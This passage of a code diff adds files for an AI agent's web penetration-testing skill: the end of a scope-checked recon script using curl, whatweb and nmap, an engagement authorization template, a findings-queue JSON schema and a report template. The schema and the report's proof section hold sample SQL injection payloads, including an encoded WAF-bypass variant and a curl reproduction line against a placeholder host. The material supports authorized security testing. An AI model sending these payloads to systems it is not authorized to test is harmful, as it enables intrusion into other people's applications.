|
||||
try:
|
||||
ip = socket.gethostbyname(host)
|
||||
if ipaddress.ip_address(ip) in ipaddress.ip_network(cidr, strict=False):
|
||||
sys.exit(0)
|
||||
except Exception:
|
||||
pass
|
||||
sys.exit(1)
|
||||
PY
|
||||
fi
|
||||
done < "$SCOPE_FILE"
|
||||
return 1
|
||||
}
|
||||
|
||||
if ! in_scope "$HOST"; then
|
||||
echo "Host '$HOST' is NOT in $SCOPE_FILE. Refusing to scan." >&2
|
||||
echo "Add it to scope.txt only if it is genuinely authorized." >&2
|
||||
exit 5
|
||||
fi
|
||||
|
||||
# Resolve URL for logging
|
||||
TS="$(date -u +%Y-%m-%dT%H:%M:%SZ)"
|
||||
echo "[recon-scan] target=$TARGET_URL host=$HOST ts=$TS"
|
||||
|
||||
# --- headers ---
|
||||
echo "[recon-scan] fetching headers..."
|
||||
HEADERS_FILE="$EVIDENCE_DIR/headers.txt"
|
||||
curl -sSIk --max-time 15 -A "hermes-pentest/recon" "$TARGET_URL" > "$HEADERS_FILE" || true
|
||||
sleep 0.2
|
||||
|
||||
# --- whatweb ---
|
||||
if command -v whatweb >/dev/null 2>&1; then
|
||||
echo "[recon-scan] running whatweb..."
|
||||
whatweb -v --no-errors "$TARGET_URL" > "$EVIDENCE_DIR/whatweb.txt" 2>&1 || true
|
||||
sleep 0.2
|
||||
else
|
||||
echo "[recon-scan] whatweb not installed — skipping. Install with: apt install whatweb"
|
||||
fi
|
||||
|
||||
# --- robots / sitemap / .well-known ---
|
||||
echo "[recon-scan] checking robots/sitemap/.well-known..."
|
||||
for path in robots.txt sitemap.xml .well-known/security.txt; do
|
||||
outfile="$EVIDENCE_DIR/$(echo "$path" | tr / _).txt"
|
||||
curl -sSk --max-time 10 -A "hermes-pentest/recon" -o "$outfile" -w "%{http_code}\n" "$TARGET_URL/$path" \
|
||||
> "$outfile.status" || true
|
||||
sleep 0.2
|
||||
done
|
||||
|
||||
# --- nmap (top 100 ports, default scripts off, scope-bounded) ---
|
||||
if command -v nmap >/dev/null 2>&1; then
|
||||
echo "[recon-scan] running nmap (top 100 ports, T3, no NSE)..."
|
||||
nmap -sT -T3 --top-ports 100 -Pn -oN "$EVIDENCE_DIR/nmap.txt" "$HOST" >/dev/null 2>&1 || true
|
||||
else
|
||||
echo "[recon-scan] nmap not installed — skipping. Install with: apt install nmap"
|
||||
fi
|
||||
|
||||
# Log entry
|
||||
printf '{"ts":"%s","phase":"recon","url":"%s","host":"%s","in_scope":true,"evidence_ref":"evidence/"}\n' \
|
||||
"$TS" "$TARGET_URL" "$HOST" >> "$LOG_FILE"
|
||||
|
||||
echo "[recon-scan] done. Evidence in $EVIDENCE_DIR/"
|
||||
@@ -0,0 +1,69 @@
|
||||
# Engagement Authorization
|
||||
|
||||
Fill out before any active testing. Save to `engagement/authorization.md`.
|
||||
|
||||
---
|
||||
|
||||
**Engagement ID:** <UUID or short slug>
|
||||
**Operator:** <name of the person driving this Hermes session>
|
||||
**Date opened:** <ISO 8601 timestamp>
|
||||
**Engagement window:** <start ISO timestamp> through <end ISO timestamp>
|
||||
|
||||
## Target
|
||||
|
||||
- Primary URL(s):
|
||||
- https://...
|
||||
- Primary IP(s):
|
||||
- X.X.X.X
|
||||
- Hostnames covered:
|
||||
- host.example.com
|
||||
- api.host.example.com
|
||||
- Networks covered (CIDR):
|
||||
- 10.0.0.0/24 (internal lab)
|
||||
|
||||
## Authorization Basis
|
||||
|
||||
(Pick one — record evidence in writing for anything but ownership.)
|
||||
|
||||
- [ ] Operator owns the application and infrastructure being tested.
|
||||
- [ ] Written authorization from <name, role, organization, date>.
|
||||
Document stored at: <path or link to signed authorization>.
|
||||
- [ ] Hermes Agent dashboard, running on this same workstation, used
|
||||
as a self-test target. Operator confirms no other user is
|
||||
connected to the dashboard instance during the engagement.
|
||||
|
||||
## Out of Scope (must not be tested)
|
||||
|
||||
- Production systems unless explicitly listed above
|
||||
- Third-party APIs / SaaS the application calls into
|
||||
- Other tenants if the target is multi-tenant
|
||||
- Cloud metadata endpoints (169.254.169.254, etc.) unless explicitly
|
||||
included above
|
||||
- Destructive payloads (DROP, DELETE, file writes outside test
|
||||
directories) without per-payload approval
|
||||
- Active social engineering, phishing, physical security
|
||||
|
||||
## Constraints
|
||||
|
||||
- Rate limit: <N> req/s per host. Default 5/s (200ms gap).
|
||||
- Hours: <none> | <only between HH:MM and HH:MM local>
|
||||
- Notify-before for: <list of categories> e.g. "any payload that
|
||||
writes data," "any traffic that touches the auth endpoint after
|
||||
10pm local"
|
||||
|
||||
## Acknowledgement
|
||||
|
||||
By approving this engagement, the operator confirms:
|
||||
|
||||
1. The targets listed above are authorized for active testing by the
|
||||
listed authorization basis.
|
||||
2. Testing may produce HTTP 4xx/5xx responses, log noise, alert
|
||||
notifications, and rate-limit triggers in monitoring systems.
|
||||
3. The operator is responsible for any consequences of testing
|
||||
targets that are NOT correctly authorized.
|
||||
4. The operator will revoke authorization (by stopping the agent) if
|
||||
the scope changes, the time window ends, or any unexpected
|
||||
off-scope behavior is observed.
|
||||
|
||||
**Operator signature (typed name):** ________________
|
||||
**Confirmed at:** <ISO 8601 timestamp>
|
||||
@@ -0,0 +1,34 @@
|
||||
{
|
||||
"schema": "hermes-web-pentest exploitation-queue v1",
|
||||
"vuln_class": "injection|xss|auth|authz|ssrf|infra",
|
||||
"generated_at": "ISO 8601 timestamp",
|
||||
"engagement_id": "<engagement slug>",
|
||||
"candidates": [
|
||||
{
|
||||
"id": "INJ-001",
|
||||
"vuln_subclass": "sql_injection|command_injection|path_traversal|ssti|lfi|rfi|deserialization",
|
||||
"endpoint": {
|
||||
"method": "GET",
|
||||
"url": "https://target.example/api/items",
|
||||
"parameter": "id",
|
||||
"location": "query|body|header|cookie|path"
|
||||
},
|
||||
"source_ref": "path/to/file.py:123",
|
||||
"slot_type": "SQL-val|CMD-argument|PATH-segment|...",
|
||||
"suspected_defense": "none|parameterized|escape|allowlist|...",
|
||||
"verdict": "identified|partial|confirmed|critical|false_positive",
|
||||
"confidence": 0.7,
|
||||
"witness_payload": "' AND 1=1--",
|
||||
"witness_response_signal": "row count change | timing | reflected marker | ...",
|
||||
"bypass_attempts": [
|
||||
{
|
||||
"payload": "%2527%20OR%201=1--",
|
||||
"blocked": true,
|
||||
"notes": "WAF returned 403 on encoded variant"
|
||||
}
|
||||
],
|
||||
"notes": "free text",
|
||||
"next_action": "send_witness | escalate_to_L3 | classify_FP | abort_scope_concern"
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
# Penetration Test Report
|
||||
|
||||
**Target:** <name + URL>
|
||||
**Engagement ID:** <slug>
|
||||
**Engagement window:** <start> – <end>
|
||||
**Operator:** <name>
|
||||
**Tester:** Hermes Agent + operator
|
||||
**Report generated:** <ISO 8601 timestamp>
|
||||
|
||||
---
|
||||
|
||||
## Executive Summary
|
||||
|
||||
<2-4 paragraph plain-language summary. Focus on:
|
||||
- What was tested
|
||||
- What was found (count by severity)
|
||||
- Most critical finding in one sentence
|
||||
- High-level remediation recommendation>
|
||||
|
||||
| Severity | Count |
|
||||
|----------|-------|
|
||||
| Critical | 0 |
|
||||
| High | 0 |
|
||||
| Medium | 0 |
|
||||
| Low | 0 |
|
||||
| Info | 0 |
|
||||
|
||||
---
|
||||
|
||||
## Engagement Scope
|
||||
|
||||
In-scope targets (from `engagement/scope.txt`):
|
||||
|
||||
- <host or CIDR>
|
||||
|
||||
Out of scope: see `engagement/authorization.md`.
|
||||
|
||||
Authorization basis: see `engagement/authorization.md`.
|
||||
|
||||
## Methodology
|
||||
|
||||
Approach was based on the Hermes `web-pentest` skill (a Hermes Agent
|
||||
adaptation of the OWASP Testing Guide with elements of Shannon's
|
||||
proof-based methodology). Phases performed:
|
||||
|
||||
- [ ] Pre-recon (source code review)
|
||||
- [ ] Recon (live, read-only)
|
||||
- [ ] Vulnerability analysis (one queue per OWASP class)
|
||||
- [ ] Exploitation (proof-based)
|
||||
- [ ] Reporting
|
||||
|
||||
Tools used: <nmap, whatweb, curl, Hermes browser tool, ...>.
|
||||
|
||||
## Findings (L3/L4 — Verified Exploitable)
|
||||
|
||||
> Every finding in this section has a reproducible proof-of-concept.
|
||||
> L1/L2 candidates that were not promoted to confirmed exploitation
|
||||
> are listed in the "Not Exploited" section.
|
||||
|
||||
### F-001: <Title>
|
||||
|
||||
- **Severity:** Critical | High | Medium | Low
|
||||
- **CVSS 3.1 vector:** `CVSS:3.1/AV:N/AC:L/...`
|
||||
- **CVSS 3.1 base score:** N.N
|
||||
- **CWE:** CWE-XX
|
||||
- **Affected endpoint(s):** `GET https://target.example/api/...`
|
||||
- **Affected parameter(s):** `id`
|
||||
- **Discovered:** <date>
|
||||
|
||||
#### Description
|
||||
|
||||
<What is the bug, in plain language.>
|
||||
|
||||
#### Proof
|
||||
|
||||
Request:
|
||||
|
||||
```http
|
||||
GET /api/items?id=1%27%20OR%201=1-- HTTP/1.1
|
||||
Host: target.example
|
||||
Cookie: session=...
|
||||
```
|
||||
|
||||
Response (excerpt):
|
||||
|
||||
```http
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: application/json
|
||||
|
||||
```
|
||||
|
||||
#### Reproduction
|
||||
|
||||
```bash
|
||||
curl -sS 'https://target.example/api/items?id=1%27%20OR%201=1--' \
|
||||
-H 'Cookie: session=YOUR_TEST_SESSION'
|
||||
```
|
||||
|
||||
#### Impact
|
||||
|
||||
<What an attacker gains. Be specific. "Could allow data extraction" is
|
||||
worse than "Allowed extraction of all 4 columns from the `users` table
|
||||
in our test (PoC redacted PII), and the same query shape applies to
|
||||
any other parameter using the same code path.">
|
||||
|
||||
#### Remediation
|
||||
|
||||
<Specific, actionable. "Use parameterized queries" is better than
|
||||
"sanitize inputs." Include code example if possible.>
|
||||
|
||||
#### Verification (post-fix)
|
||||
|
||||
To verify the fix, re-run the reproduction command. The response
|
||||
should be HTTP 400, an empty result, or a result containing only the
|
||||
record matching `id=1` literally.
|
||||
|
||||
---
|
||||
|
||||
(repeat per finding)
|
||||
|
||||
---
|
||||
|
||||
## Not Exploited (L1/L2 candidates)
|
||||
|
||||
Candidates that pattern-matched but were not promoted to L3 within
|
||||
the engagement window. Listed for completeness; do NOT report these
|
||||
as confirmed vulnerabilities.
|
||||
|
||||
| ID | Class | Endpoint | Status | Why not promoted |
|
||||
|----|-------|----------|--------|------------------|
|
||||
| INJ-002 | SQLi | `/api/search?q=` | L2 partial | Bypass set exhausted; appears to use parameterized binding |
|
||||
| XSS-003 | reflected | `/error?msg=` | L1 identified | Could not produce executable context — output is JSON-encoded |
|
||||
|
||||
---
|
||||
|
||||
## Out-of-Scope Observations
|
||||
|
||||
(Findings or hints noticed but NOT tested because they were outside
|
||||
scope. These are documentation, not findings. The operator decides
|
||||
whether to extend scope and re-test.)
|
||||
|
||||
- The application sends to `https://third-party.example/...` — payload
|
||||
could trigger third-party-side bugs but third party is out of scope.
|
||||
|
||||
---
|
||||
|
||||
## Limitations
|
||||
|
||||
What was NOT tested, and why:
|
||||
|
||||
- <Class of test>: <reason>
|
||||
|
||||
Examples:
|
||||
- DDoS / stress testing — explicitly excluded by engagement scope.
|
||||
- Authenticated business-logic flows requiring billing — no test
|
||||
credit card available.
|
||||
- Mobile API surfaces — out of scope.
|
||||
|
||||
---
|
||||
|
||||
## Appendices
|
||||
|
||||
- A: `engagement/authorization.md` — authorization on file
|
||||
- B: `engagement/scope.txt` — machine-readable scope
|
||||
- C: `engagement/request-log.jsonl` — every active request issued
|
||||
- D: `findings/*-queue.json` — per-class candidate queues
|
||||
- E: `evidence/` — raw captures (request/response pairs)
|
||||
|
||||
---
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This report describes vulnerabilities discovered during a
|
||||
time-bounded penetration test against the listed targets within the
|
||||
listed scope. Absence of a finding in this report does not imply the
|
||||
target is secure; only that no exploitable issue was found in scope
|
||||
X within time T using methods Y.
|
||||
X within time T using methods Y.
|
||||
Reference in New Issue
Block a user